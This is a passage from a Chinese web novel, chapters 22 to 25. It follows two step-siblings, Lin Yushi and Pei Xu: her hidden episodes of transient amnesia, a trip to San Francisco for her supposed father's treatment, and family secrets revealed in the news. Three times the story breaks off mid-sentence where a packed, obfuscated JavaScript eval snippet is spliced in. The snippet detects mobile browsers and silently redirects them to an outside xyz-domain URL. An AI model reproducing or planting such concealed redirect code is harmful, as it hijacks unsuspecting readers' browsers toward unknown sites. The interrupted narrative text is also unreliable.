林予诗看向他,嘴角上扬,露出微笑。听他方才的语气,此刻的她觉得就像是看见了一只小狗。 “你紧张什么?”林予诗那时候并没有给随声听按下录音暂停,她一直将它拿在了自己手中。 话音落下,头顶的香樟树上传来了知了的鸣叫。 突如其来的夏蝉声音,就这样掩盖住了他原本早已藏不住的心跳声音。 “我紧张了吗?”裴叙牌“小狗”声音颤抖。 “嗯!”拿着随声听正在录音的人疯狂点头,“紧张的人是会下意识地说自己不紧张的。” 裴叙牌小狗顶着一副像是被欺负了一样的星星眼,缓缓点头,又缓缓摇头。 林予诗被裴叙的动作给逗笑了。 在蝉鸣声结束的那个瞬间,她给随声听的录音按下了暂停:“好啦好啦,不逗你了。到时候,小狗跑了,不和我玩了,那该怎么办。” “好吧。”话音落下之后,裴叙忍着笑抬起头。 却忽然发现林予诗已经走到前面去了。 他没有迟疑地,立即追了上去。忽然发现似乎有什么不大对劲的地方,裴叙问:“不是?谁是小狗了?” “你呀。”林予诗说,“我说裴叙是一只小狗。” 林予诗说完就往前跑了。裴叙猝不及防的迈开步子,再一次追上她的身影。 她回头:“裴叙小狗跑得真快!” 裴叙:……小狗就小狗吧。 他说:“那你甩不掉我了。” 她说:“这可是你自己说的。” 22.Chapter 22 后来的日子,开始变得像往复循环了起来。林予诗每天下午放了学,不上晚自习就直接出学校去医院,陪一陪卫海潮。虽说从小和他没什么感情,但他毕竟还是自己的父亲。 裴叙每天下午自然也是跟着去的,只不过,他没有晚自习请假的假条,只能是翘着课去。林予诗知道他没有假条之后,便和他说让他好好在学校自习,自己去就可以了。 哪成想,每次裴叙都能够神不知鬼不觉地出现在她的身边,和她热情的打招呼。 直到后面,林予诗才知道,裴叙去找班主任老师开了一张假条,说自己晚上在外面有补习课,需要请假。 卫海潮近期的情况很是不错,已经好的跟个没事人一样了。他总是对林予诗说,让她不要过来了,要注意自己的学习,不要让林见寒担心。 林予诗是这么回复卫海潮的:“您就好好养身体吧,全公司上下那么多人等着您回去呢。” 卫海潮早年在外打拼,从制片人做起,而后慢慢创业开公司,到如今已经成为了华南地区最大的一家影视公司的董事长。 卫海潮笑,接过裴叙递过来的苹果:“好好好,我好好养病。” “报告单出来了,我去取一下。”林予诗说完转身离开了房间。 林予诗离开病房之后,卫海潮转而看向裴叙,说:“小伙子,每天跟着予诗来看我,累不累呀?” 裴叙说:“没事的卫叔叔,我不累。” 陪林予诗一起做任何事情,他都不会觉得累。 “这几天看见你呀,我就想起了我年轻的时候。”卫海潮看向窗外,回忆往事,“见寒能够找到你父亲,是最好的结局。相比和我在一起,被家庭安排,和一个自己不爱的人在一起过一生来看,她和你父亲在一起会幸福很多很多。” 裴叙不知道该说些什么,也不明白卫海潮为何会忽然对他说出这些话。但出于对长辈的尊重,裴叙还是笑着“嗯”了一句。 卫海潮看着裴叙的眉眼,不忍地在心里想起了自己的初恋,那是他此生的至爱。 窗外夕阳落幕,卫海潮小声地自言自语:“真像她啊。” 裴叙并没有听清楚卫海潮说了些什么,他时不时看向病房的门口,在想着林予诗会在什么时候回来。 - 初夏来临之后的时间就像是按下了加速器,整个五月在变热的同时,也送来了高考的最后倒数和毕业即将分别的气息。 课间休息,从办公室里问完题目的姜时月咋咋唬唬地跑回了教室,坐在了林予诗的旁边,小声感叹:“我靠!你知道我听见什么了嘛!学校让你去演宣传片!” 学校想为高三拍一套纪录片,作为他们的毕业礼物,放在高考后的毕业典礼上展映。学校的老师们找了一圈男女主角演员,最后把目光落在了学校光荣榜上并排的证件照上—— 作文训练营第一名,林予诗同学; 数学竞赛训练营金奖第一名,裴叙同学。 两人还挺上镜的,看上去还很搭配,艺术老师们见时间紧迫,便直接敲定了他们作为出演人员。 只是着消息来得有点太突然了,林予诗听完姜时月的这句惊叹,还没有完全地反应过来。 姜时月:“你知道你和谁一起演吗?” 没给林予诗接话的时间,姜时月继续说:“你哥,裴叙!” “嗯?”听见了裴叙的名字,林予诗这下算是真的从方才的那种迷迷糊糊的状态里清醒了过来,“裴叙?” 正念着他的名字,忽然听见教室的后门口那传来了一阵熟悉的声音:“同学你好,能麻烦你帮我叫一下林予诗吗,学校老师找她有事。” 林予诗还在犹豫要不要假装自己没听见,却一不小心在恍然中撞上了裴叙的目光,他们就这样发现了彼此。 路人同学不需要传信,憋着笑走开回到座位。 在姜时月的注视下,林予诗走到了后门口。 裴叙开门见山,没有含糊犹豫:“你听说了吗?学校选我们俩做今年高三毕业片演员的事情?” “嗯。”林予诗说,“刚听说的。” “老师找我来叫下你去聊聊这个事情。”裴叙说,“如果你感兴趣的话。” 倒也不存在什么不感兴趣的地方,况且这也不算是什么很为难的一件事情,林予诗很轻松地对他说:“走吧!” 他没有在心里想过她是否会感兴趣这件事的问题,只是在她说“走吧”的那一刻,感到了一阵特别的高兴。 - 很快,高三毕业纪录片的拍摄就正式提上了日程,要在六月来临之前,拍摄完所有需要的镜头。林予诗和裴叙需要负责的,是演绎部分的拍摄。 这部分的台词不算太少,林予诗和裴叙为此专门熬了两个大夜,用来背词和对词。开拍前的那天早上,林予诗和裴叙打算早点起,再对一遍所有场次的词,以便今天的拍摄能够顺利进行。 裴叙敲响林予诗房间的门的时候,窗外的天还没有完全亮,但那时,林予诗房间里手机的闹钟已经响过两遍了。 在“咚咚咚”的敲门声中伸了一个懒腰,林予诗缓缓起身,对房间门的方向说了一句“早”。转头看向窗外的天空,只见蓝调颜色落在了眼前。那是天黑前与天亮前独有的那种颜色,静谧深邃,又有点像是藏满了说不完的秘密。 这间学校旁的出租屋不算太大,卧室只有两间,但好在,有一个能够放下一张桌子和两把小椅子的阳台。 于是洗漱完,拿上剧本,两人便选择了在那里碰面。 早上的空气很湿清新,深呼吸一口,只觉得神清气爽。桌上放着刚准备好的冰美式和昨晚放学后在一家面包店里买的红茶巴斯克和茉莉巴斯克。 “我看天气预报上的日出时间好像快到了。”对完台词,林予诗将手机摆到了裴叙的眼前,“我本来还想着要是有时间就去补一会觉的。但是能遇上日出,索性,要不就放弃回笼觉吧。” 语气里满是兴奋和期待,裴叙看着她的样子,忍不住嘴角上扬了几分:“好。” 甜甜的巴斯克和冰美式是绝佳的搭配,林予诗喜欢吃红茶的,裴叙喜欢吃茉莉的。 早晨的空气,好像因为蛋糕的味道,都变得甜了几分。 “这是我们第一次一起看日出。” 才发现林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797819|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 予诗拿上了自己的日记本,裴叙看着她在日记本上,一笔一画地写下了今天的日期。 裴叙心情复杂。庆幸,他在这个时候没有失忆;庆幸,她有个日记本,能帮她找回记忆;庆幸,她的失忆只是短暂的,每次失忆结束后,都会想起从前的所有经历。 在他的印象中,她每次好像都会忘记自己曾失忆的事情,就好像是什么事情都没发生过一样。在他看来,失忆时的那段记忆,在她的脑海中会是一段永远不会想起的空白。 所以他从来不会在她面前提起和失忆有关的任何事情,他只是在默默记着她失忆的日期,试图从里面找出规律,试着去计算出以后再也不会发生在她身上发生失忆这种事情的概率会是多少。 他曾想过带她去检查身体,但每次说要体检什么的,都被她含糊其辞的敷衍了过去,她总说有时间再去,也总说可能有的时候身体不舒服是自己累到了。 “我们以后还可以一起看很多很多次日出。” 裴叙看向远方,忽然停顿了几秒。 “如果你愿意的话。” 在日记本上郑重地写下“第一次和裴叙一起看日出”,而后把日记本关上,轻轻地放在了冰美式的旁边。 玻璃杯的杯壁正挂着冰块融化带来的水滴,顺着水痕,水滴缓缓落下,正好落在了自己的手心。 林予诗知道自己的身体状况,她清楚自己会在一个意想不到的时刻忽然失忆,但她不愿意让除了林见寒之外的人知道这件事,所以她会假装自己从未曾出现过失忆的情况。 她也曾趁着没有失忆的时候,在日记本里写下这些事情。 后来经过了筛查,她得知,情况好像不太乐观。于是每次裴叙在无意之间提起的体检,她都是一笔带过的敷衍。 她不想让他知道自己的身体出了状况。 还是那种不可逆转的状况。 她曾在深夜陷入过绝望,她在无声的崩溃中问着,为什么会遇见这种事情? 可惜,没有声音回答她的问题,彼时,脑海中只剩下了医生的声音在回荡: “幸好检查得早,发现得及时。压迫神经导致的短暂全面失忆,这个短暂啊,证明现在还是早期的症状,来得及,不要太担心。短暂失忆结束后,还是会想起以前的记忆的,甚至还会想起失忆时的状态。是个罕见的情况,院内的教授们已经向沪市、京市那边的医院申请了会诊,还有国外的专家团队,我们会一起探讨一下情况。” 不再继续想着那些会让自己陷入低落的事情,林予诗笑了笑,看向裴叙说:“当然愿意。” ——如果有机会的话,我一定会和你一起,去看很多次日出日落。 ——即使我们之间的距离不能太近,但只要我知道身边不远处的人是你就好。 喝下杯中的最后一点冰美式,裴叙说:“你有想好,明年要考哪所学校吗?” 林予诗自知情况,不敢说出承诺,于是她回答说:“还没想好。还有时间,可以慢慢去想,不是吗?那你呢?有想好吗?” 裴叙的话语里全是请求的语气:“我想—— “你去哪,我就去哪。” 23.Chapter 23 礼堂里,礼花落下,欢呼声和掌声此起彼伏,响彻整个夏夜。 纪念片播放结束,林予诗和裴叙作为领唱,和这一届的高三老师们一起献唱了《昨日青空》和《起风了》这两首歌。 人声鼎沸里,借着谢幕的名义,牵着他的手,林予诗不敢撞上他的视线。 心跳在欢呼声中加速,逐渐变得热烈。林予诗只能安慰自己,这是在台上演出导致的。 但她却又在心里清楚的知道,心跳为什么会在这个夏夜中变得这么的热烈。 谢幕结束,林予诗和裴叙默默退场,将舞台留给毕业生们拥抱合影。 在走下舞台后的那一秒,林予诗再一次在心里察觉到了手心的那股温热,身体像是有种触电的感觉,于是她在暗光中缓缓松开了他的手,没有回头。 也不敢回头。 害怕再次遇见他的目光。 不知道他有没有跟在自己的身后,林予诗本想说些什么,来试探一下他此刻离她的距离,只是还没开口,她就撞上了同级的朋友周应。 周应是这场毕业典礼的主持人。 “想什么呢?”周应扶住了在转角处差点摔倒的林予诗,“你刚刚唱歌的时候我给你录了视频,回头发你微信。” “噢!”林予诗说,“我都忘记和你说帮我录视频了,谢谢啦!” “没事。” 林予诗忽然朝周应凑近了一点,“周周,你帮我看看,裴叙在哪?” 周应看向林予诗的身后,她说:“就在你身后不远的地方。他停在那看手机。” “哦。” 原来没有跟上来呀。 “我先去收衣服啦,拜拜!”周应说。 “嗯。回见!” 和周应说完再见,林予诗继续在心里想,该如何开口去叫裴叙一起走。 她方才毫无征兆地松开了他的手,没有停下,是不是太突然了呢?又不是没有在空无一人的、灯很昏暗的小巷里感受过这种感觉。她记得那时候,她把他的手握得很紧,没有松开,就这样一路牵回了家;又不是没有在凌晨的街道牵过他的手,那天他们还聊了很久很久。 “回教室吗?”身后忽然传来了裴叙的声音,林予诗的思绪被打断,下意识地回头。 而后就这样撞上了他的视线。 “吓到你了?”裴叙说,“我刚刚看你在和周应聊天,我就没有过来打扰你们。” 原来如此。原来,他停下脚步站在那,不是因为自己忽然松开了他的手。 这么什么的,对吧。林予诗在心里对自己说,很正常呀,这么松开手,是自己想多了而已。 “没有吓到我。”林予诗说,“我才不会被你吓到呢!” 回教室的路上,林予诗回想起方才在那发生的一切,她忽然就陷入了不解。 她不解,自己为什么会陷入没什么厘头的纠结。 或许是因为自己心里不敢承认的那些思绪? 补完作业的时候已经接近十一点了,教室里早已经没有了其他的同学,只剩下了林予诗和裴叙。 在校门口扫了两辆自行车,两人打算如往常一样骑车回家。夏天的夜晚很热很热,已经不适合慢慢走回家了。路上的车很少,骑行道上也只有他们。 习惯性的分享一只耳机给林予诗,裴叙给歌单按下了随机播放,却没想到,随机播放到的,正好是那首他们今晚一起唱过的《起风了》。 「我曾难自拔于世界之大也沉溺于其中梦话」 「不得真假不做挣扎不惧笑话」 「我曾将青春翻涌成她 也曾指尖弹出盛夏」 「心之所动且就随缘去吧」 身边的人的声音似乎还在耳边回荡,只有他们自己知道,一起唱这首歌的时候,他们的心里,只有彼此的声音。 周围的一切都消散不见,仿佛整个世界只剩下了他们。 路过的风吹不散十七岁心绪,连同着燥热的夏夜一起,永远停留在了被耳机缠绕的心底。 “我终将青春还给了她,连同指尖弹出的盛夏。心之所动,就随风去了;以爱之名,你还愿意吗。” 裴叙的声音忽然出现在耳边,顺着旋律一起,环绕了她的整个世界。 于是在心脏再次变得莫名热烈跳动的那一瞬间,林予诗故作一种很寻常的语气说:“喂!神经啊。大半夜的突然唱歌干嘛?” 这句话说得很急,像是在掩饰着心底的思绪。好像自己现在做些什么,他就一定不会发现她的心跳此刻正在加速。 虽然,她知道,他难以察觉。但她还是想这么做,确保万无一失。 “你说,等到我们都变得快要走不动路的时候,那时候,我们还会在一起吗?”裴叙说,“那时候,我还是你哥。” “太过于遥远的日子我不敢去想,我觉得能把当下过好,就已经很好啦!”林予诗说,“至于很远很远的以后,等到快要到来的那一天,我们再说也不迟呀!” “好。”裴叙迎着风说。 很快就到了出租屋的楼下。楼道里的感应灯随着脚步声缓缓亮起,水泥阶梯上路过了重重叠叠的身影。 “对了,那天你问我的那个问题,我这几天想了一下,也算是想到了一个答案吧。”林予诗忽然开口,让原本要暗下来的灯再次亮起。 “你想好要考哪个大学啦?” “大学倒是没有想好,不过我已经想好以后要学什么了。”林予诗说,“文学院对我而言,或许是个不错的选择。汉语言文学和创意写作,一个本科专业,一个研究生专业,我觉得我挺想去学的。” “挺适合你的。”裴叙说。 “所以呀,你也要好好想想,自己以后真的想去哪里,不能说是‘我去哪,你就去哪’。我们还是要有一个属于自己的人生理想和人生目标的,万一有机会在同一个学校,那就是命运的安排啦。”林予诗说,“我们各自都有各自的命运,都有自己的事情要去完成。当然啦,也不是说我不想和你上一所大学,只是我想说,这并不是你人生里真正的重点,考大学立目标的这件事,你先从自身好好想想呗。等你想好了,我们再讨论一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808924|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不迟。” 就这样停在楼梯间的转角处说了很多,林予诗在话音落下的那一秒才意识到,这次说这些话的时候,她是没有躲着他的视线的。 “好。”裴叙轻声说,“我记住啦。” 林予诗笑着说:“时候不早了,晚安。” 头顶的灯忽然暗了下来,即使是裴叙说了一句“晚安”,那灯也没有再次亮起。 灯又坏了?可连着好几层楼都没有亮起灯。好像是停电了。学校边上的出租屋在老旧小区,一到夏天,就特别容易跳闸停电。 裴叙从口袋里拿出手机,打开了闪光灯,于是视线交错的地方再次变得清晰可见。 不好意思伸出自己的手,裴叙说:“你牵着我的书包肩带吧。” 林予诗点头说好。她原本想拿出自己的手机,也打开闪光灯,却忽然发现自己的手机没电了。所以,她只好跟着他走。 刚走两步,跨上新的台阶,林予诗忽然感觉到一阵头晕。重心变得不稳,脚下忽然踩空落下了一阶,林予诗另一只手扶住了旁边的墙壁,却还是扭了一下脚。 感觉到书包肩带被扯了一下,裴叙立即停下脚步回头,“怎么了?” 林予诗并没有说自己头晕的事情,她只是说:“没看清路,踩空了。” 于是裴叙立即将肩上的书包给卸了下来,拿在了手上。 几秒后,林予诗听见他说:“上来。” 明天还要上学,刚才又扭得太急,疼痛难以在短时间里解决。 林予诗说了一句“谢了”,便照裴叙话里的意思,趴在了他的背上。 换成林予诗举着手机的闪光灯,她在他的身后,照着前面的路。于是视线中只剩下了他们的身影被照在水泥台阶上,摇摇晃晃,路过了一层又一层。 林予诗说:“你说,你要是我弟弟,会是怎样?” 裴叙笑着回答说:“说不定就是呢?” 林予诗说:“你可是比我大了21小时的哥哥,又不是比我小21小时的弟弟。” 裴叙嘴角继续上扬:“姐姐。” 这句“姐姐”来得毫无预兆,林予诗原本有点瞌睡的感觉,因为这句话的出现而忽然消散了。她说:“我没听错?” “你要是没有听见就算了。”裴叙说,“不管是哥哥还是弟弟,我都会选择好好照顾你的。我的使命不会改变,不论是什么身份。” “那不是呀。”林予诗说,“姐姐是要照顾弟弟的。” “那我以后当你弟弟好不好,而且我会继续照顾你的。” “算了,越说越说不清了。”林予诗说,“晚安。” “咔嚓”一声,房门被打开。关上门,按下开关,房间里的灯依旧没有亮起,于是确认停电的事实。 在房间里拿出MacBook给手机充上电,林予诗准备去房间外找裴叙。 只是还没起身,手机忽然收到了一条信息,让她停下了往房间外走的脚步: “林小姐,一个月后卫总将会前往旧金山治疗,这两天您能来趟医院吗?” 24.Chapter 24 高三摸底考试出成绩的那天,赶不及参加学校的表彰会,林予诗和裴叙就随着卫海潮他们一起飞往了旧金山。 林见寒还在处理江潮声母亲的案子,会要晚几天到。 “其实你不用和我一起来旧金山的。”林予诗这几天总觉得,裴叙和她一起来旧金山,会不会有点麻烦到他。 “陪你一起来这里不麻烦的,你要是在这里无聊了,至少还有个能说话的人不是吗?”裴叙笑着说,“况且,是我自己想一起过来的,心里不要有负担。” 心里曾想过让他陪自己一起过来,后来没想到,他居然主动提起了这件事。 “你好像忘了,我是你的保镖。”裴叙提起了这个身份。 “谁家的保镖是小狗呀。”心情忽然变得愉快了些许,林予诗语气轻松。 - 到达旧金山的第二天比较忙,和医生对接完卫海潮的病情,林予诗才知道,原来卫海潮来旧金山治疗,是因为病情恶化了。 难怪小陈哥之前一直都说是来旧金山疗养一段日子,原来都是不想让她担心的借口。 奔走了一整天,连林见寒的电话都没来得及说上两句。回到酒店房间的时候,林予诗只觉得双腿发软,头晕眼花。而后的下一秒,她就倒在了床上。 迷迷糊糊地再次醒来的时候,是半夜三点,窗外正在下雨,雨滴拍打着玻璃窗,发出了淅淅沥沥的声音。 头依旧很疼,依旧有点晕晕乎乎的感觉。 害怕再次失忆,再次发病,林予诗连忙从包里拿出了药,服下去了两颗。 玻璃杯与木桌接触发出了清脆的声音,看向玻璃窗户上因台灯反光而看见的雨丝,林予诗忽然想起了自己第一次短暂失忆症状的出现。 那是在她高一那年的春天,她记得很清楚,是在自己在走廊上捡到裴叙被风吹落的试卷之前。 那原本是一个稀松平常的傍晚,她在那家放学后常去的书店里看书。 不知道在什么时候昏睡了过去,林予诗醒来之后,只发现窗外的天已经全黑了。霓虹灯的光线落在了书店的玻璃窗上,她透过窗户发现外面的路上积起了小水洼。 下雨了。 头微微疼痛,林予诗“嘶——”的一声把手扶在了自己的额头上。 低头,却忽然发现自己的怀里正抱着一本书。 于是立即变得惊讶与错愕,匆忙抬头看向周遭,林予诗在恍然中意识到,自己现在是在一家书店里的。 书店里很安静,大多都是在看书的人。林予诗本能的将自己的声音压住,将慌张敢放在了心底,惊恐地打量着周围,她不知道自己为什么会出现在这里。 匆匆将怀里的那本书合上,放回书架。不顾门口熟识老板的那句“就回家啦”,林予诗跑出了书店。 忘记了窗外还在下着大雨,林予诗径直跑到了人行道上。周围都是撑着伞的人,林予诗只能慌张地望着四周,试着去想自己应该要去向什么地方。 不顾头疼往前走,像是一束在顺流的人群中的孤单逆流。 “砰!” 忽然撞到了一个人的肩膀,林予诗不得不停下自己的脚步。 下一秒,只觉得头顶的雨消失不见,周围只剩下了雨声的环绕。视线里出现了一把透明雨伞,雨滴正顺着伞沿往下坠落着。 “抱歉。”雨声中响起了一声男声和女声重叠在一起的声音。 恰好旁边就是屋檐,身边的行人也不算太多。 “我正好多买了一把伞,雨太大了。你没有伞的话,就送给你了。”男生说。 见林予诗没有动,男生再次将手中的伞朝她那伸了过去:“拿着吧。” “谢谢。” 就在接过男生递过来的伞的那一刻,头疼晕眩的那种忽然消失不见,林予诗下意识地紧闭了一下双眼。 而后睁开眼,看向眼前的男生,再看了一眼手中的伞。 记忆就像决堤的水,涌入她的脑海。她想起了原本忘记的一切,想起了在放学后经常去到的那家书店,想起了自己应该要如何走回家,想起了自己是谁。 她也没忘记方才的那一刻钟中失忆时发生的一切。 所有的记忆完成拼接,就像一盘卡带的磁带停止了回放,开始正常往前播放。 只见眼前的男生笑了笑,对她挥挥手,说了句再见,而后转身陷入进了人海之中。 回了一句再见和谢谢,不顾落在肩膀的雨水,林予诗走到屋檐下靠在墙上,看向视线里正举着伞匆匆路过世界的人们。 自己怎么会失忆呢?难道是因为昨天晚上没睡好? 这段时间接连的头疼扰得她难以入睡,没想到有一天失眠也成了自己的深夜愁苦。 再次看向手中的那把透明雨伞,林予诗忽然后悔刚刚为什么没有要一下那位男生的联系方式,好把伞还给他或者说把这把伞的钱转给他。 视线下移,看见了一个小狗钥匙扣。于是走上前将它捡起,拍了拍上面的水,拿在手里好好地看了一眼。 这是不是刚才那位男生掉的呢?林予诗不免地这么想。她把这个小狗钥匙扣放进了自己的口袋里,而后撑起那把意料之外会得到的透明雨伞,扎入进了下着大雨的春天夜晚。 自那以后,林予诗每天开始写日记。这次的失忆可能只是偶然,但害怕未来可能还会发生这样的事情,她觉得自己必须要做点什么提前的打算。这次的失忆是短暂的,那下次呢?下次万一是长时期的失忆呢?没有人知道未来会怎样,这是无法预料的事情。 至少,写下的日记不会消失不见。 后来的那次失忆是在高二的春天,也就是她和裴叙成为一家人之后的没多久。 之后的失忆开始变得频繁起来,但都很短暂。 直到现在,林予诗都不确定,裴叙有没有发现她失忆的这件事。在她看来,自己一直都把这件事掩藏的很好。每一次失忆开始的时候,自己好像都是不动声色的。 大概是药物起了作用,林予诗不再继续头疼下去。 第一次失忆的那天,她没有看清楚送她那把透明雨伞的人的样子。那个落下的小狗钥匙扣,至今还都放在她书包的小口袋里。 她一直都随身带着它,就怕万一自己哪天忽然在记忆中清楚了他的模样,在路上遇见了他,好去问他这个钥匙扣是不是他的。 生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827483|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命中能够遇见的人或事,终究都是注定的,无论如何都不会错过,只是时间早晚的问题。那些等了很久很久都没有再来的人,或许他原本就不存在于你的人生轨迹之中。偶然的出现,只是命运的偏差而已。 回忆中的雨滴随着此刻旧金山停下来的雨一起被放在了过去的过去,眼前玻璃杯中的水已经被喝完,林予诗察觉不到任何关于困倦的讯息。 于是她决定看会书,去听听那些别人的故事。 - 暴雨落在玻璃窗上的淅沥声打扰了裴叙的梦,醒来的时候,他依旧在回忆着那个梦的每一帧。或许是因为旧金山的雨声,他梦见了高一那年的春天。 那天忽然下起了雨。 放学后路过了一家书店,他看见了林予诗的身影。见她旁边没有伞,于是他赶忙跑到了附近的便利店买了一把,想在门口等她出来,以路人的身份,将这把伞给她。 只是让他没想到的是,在他回来的路上意料之外地与她擦肩,而后他们停在了路边,对着彼此说了一句抱歉。 那天他没有脱口而出她的名字,是怕自己太过于突然。能把伞给她,帮她遮雨,已经是他那时心里感觉到的最大的幸运了。 只是自己终究还是晚去了一步,她还是淋到了雨。所以后来每每想起那个瞬间,他心里总会泛上一阵自责。要是当时再跑快一点呢?她是不是就不会被那场雨给淋湿了呢? 如果能够回到过去,他一定会在那个春天雨夜里跑得再快一点,在她走出书店之前,站在门口等她,把伞给她。 独自一个人在房间里想着,忽然觉得有点口渴,于是下床倒了一杯水,坐在了书桌前。点亮台灯,透过玻璃窗户的反光,那时候他才发现窗外的雨已经停了下来。 此刻无聊,打开手机点开动态,发现林予诗在一分钟前分享了一首歌。 她也没睡? 于是立即给她发了一个“小狗还没睡着”的表情过去,而后换衣服准备去找她。 失眠的人会想要惺惺相惜,聊聊未来和过去。这是她曾经和他说过的话。 就在准备出门的那一秒,门口忽然传来了“咚咚咚——”的三声敲门声。 裴叙知道,那是她的讯号。于是毫不犹豫地打开门,而后笑着看着她的双眼说:“我也睡不着。” “一起听会歌吗?”林予诗晃了晃手中的有线耳机,“就听我刚才分享的那首。” 裴叙点头说好,随后他们一起坐在了窗前。即使此刻旧金山的夜空早已停下了那场扰乱他们梦境的雨,可耳机里依旧是一首和雨有关的歌,歌词在耳机里回响: “或许这场雨,是为我而设定。” 一起看着手机中的歌词,谁都没有没有说话。 在旧金山时间来到凌晨四点的那个瞬间,耳机里的那首歌忽然被她按下暂停。 只因为视线里落入了一条条突然推送的新闻标题: “爆!Ocean Tide影视董事长卫海潮赴旧金山治疗绝症!” “爆!据知情人士透露,卫海潮与知名演员裴清雨系有过一子!” “爆!裴清雨隐婚前夫裴某川系裴清雨儿子的继父!” 25.Chapter 25 空姐用说着中英文广播,提醒着各位乘客,飞机遇到气流,可能会有点颠簸。 林予诗握紧着手中的随声听,心跳早已成了高空中的鼓点。有线耳机里正在一遍又一遍地播放着那首《time machine》,林予诗一句歌词都没听进去,她一直在脑海中回想着半天前自己在旧金山的酒店里忽然接到的林见寒助理梁语蔚打来的紧急电话。 “予诗,现在收拾好东西回国,林律她出事了!” 匆匆忙忙询问了大致情况,林予诗看了最近的一趟航班,启程回国。 裴叙没有去机场送她,他正在了解旧金山凌晨四点忽然出现的那几条热搜。 路上,梁语蔚再次打来电话,提醒她要做好心理准备,林见寒出事的事情,很有可能会上新闻热搜。 大约十二小时后,林予诗落地沪市,而后马不停蹄地转机飞往长宜。 在落地长宜的那一刻,林予诗在社交平台上看见了新闻报道: “江某案胜诉,其辩护人林某惨遭报复,腹部被捅数刀。事发现场一死两伤,警方已经介入。” 这条新闻成为了最新的热搜榜一,公共关注度极高,已经完全压过了她和裴叙先前看到的那几条和他们有关的热搜词条。 评论区里面说什么的都有,乌烟瘴气,林予诗没看两眼,就把关闭了网络数据,放进了口袋。 一路赶到医院后门,梁语蔚已经在那等着林予诗了。一路匆匆跟着梁语蔚的步伐,赶往林见寒病房所在的楼层,林予诗早已一身冷汗,心里的忐忑、紧张和不安的感觉,让她有种强烈的反胃感。 只能隔着玻璃看着躺在病床上刚结束手术的林见寒,林予诗眼眶中的泪水没多停留一秒,滚落了下来,滴在了玻璃窗上。 抹了一把眼泪,看向一旁的梁语蔚,林予诗忽然发现,她的手臂也是被包扎起来的。 “小梁姐,你的手……” 梁语蔚说:“抱歉。我当时去晚了,要是去早一步,说不定就不会这样了。” 林予诗忽然想起了那个新闻标题。 一死两伤?指的是……? 只见眼前出现了一封梁语蔚递过来的信,于是思绪和疑惑就这样被打断。 林予诗不明所以,给梁语蔚递了一个带有疑问意味的眼神过去。 “林律递给我的,说是让我转交给你。”梁语蔚解释,而后起身,“你先看着,我去找医生了解一下情况。” 还没从后怕中缓过来,林予诗手颤抖着拆开信封,只见里面放着一张报告单和林见寒的手写信。 泪水是在看完报告单上的结论和那封林见寒的手写信之后,缓缓落下的。一滴两滴,正好落在了那封信上写着她名字的地方,“林予诗”这三个字就这样在慢慢晕开。 - 卫海潮不是她的父亲,裴江川才是,而裴江川也确实如新闻报道中的那样,不是裴叙的亲生父亲。 在信中,林见寒提及了很多从前的往事。那时候她正在读大学,和裴江川一见钟情,而后很快就坠入进爱河。临近毕业,两人计划结婚。领证前夕,却忽然遭到了各自家庭的反对。 双宿鸟不得不散,命运多舛且轨迹相同。 那是在一个夏风慢慢吹过身边的傍晚,两人在执礼大学的未名湖边说了那句分手。 林见寒和裴江川家里从商,领域大不相同。林家和裴家,早已各自商量好了联姻的对象,计划着在林见寒和裴江川毕业后就安排结婚,开始为家中公司的接管做准备。 想过一同逃离,去往一个没有他们认识的人的地方好好生活,就此过完一生。只是现实不是小说,那些反抗最后都被家里的那句“我这么做不都是为了小辈们好吗”而不了了之。 各自结婚后的没过多久,家中就断了他们的所有联系。 直到半年后,林见寒的祖父主动告诉了林见寒一条和裴江川有关的消息。 那天傍晚的晚风很温柔,祖父来的时候,林见寒正坐在喜欢的窗边,默默地回忆着和裴江川在大学一起经历过的一切。 “裴江川最近有和你来往吗?”祖父当时明知故问,只是为了聊起这个话题而已。 面对这个问题,林见寒早就不会反应过激了,她笑着回答祖父的问题:“当然没有。” 而后,祖父也笑,他说:“裴江川要去旧金山了。” 听到这,林见寒的心里忽然出现了一种落空的感觉。 但她脸上依旧是那种面不改色的,看不出有什么波澜的样子,就像是很不在意那个名叫做“裴江川”的人一样。 于是见到林见寒没有什么反应,祖父继续说:“他妻子怀孕了。好像在那边还有个片子要拍,可能长时间不会回国。” 林见寒依旧装作什么都不在意的样子。 “差点忘了,灶上还炖着汤。”祖父说,“一会我给你端上来,你现在最重要的是安胎。” 祖父说完,匆匆离开房间,房门被轻轻关上,房间里恢复一片安静。 那时窗外的晚风还在吹着,林见寒闭上眼,声音被她咽进了身体,她任凭泪水落下。 就此别过,不知此生还会不会遇见。 和卫海潮的婚姻本就是逢场作戏,两人都不爱着对方。 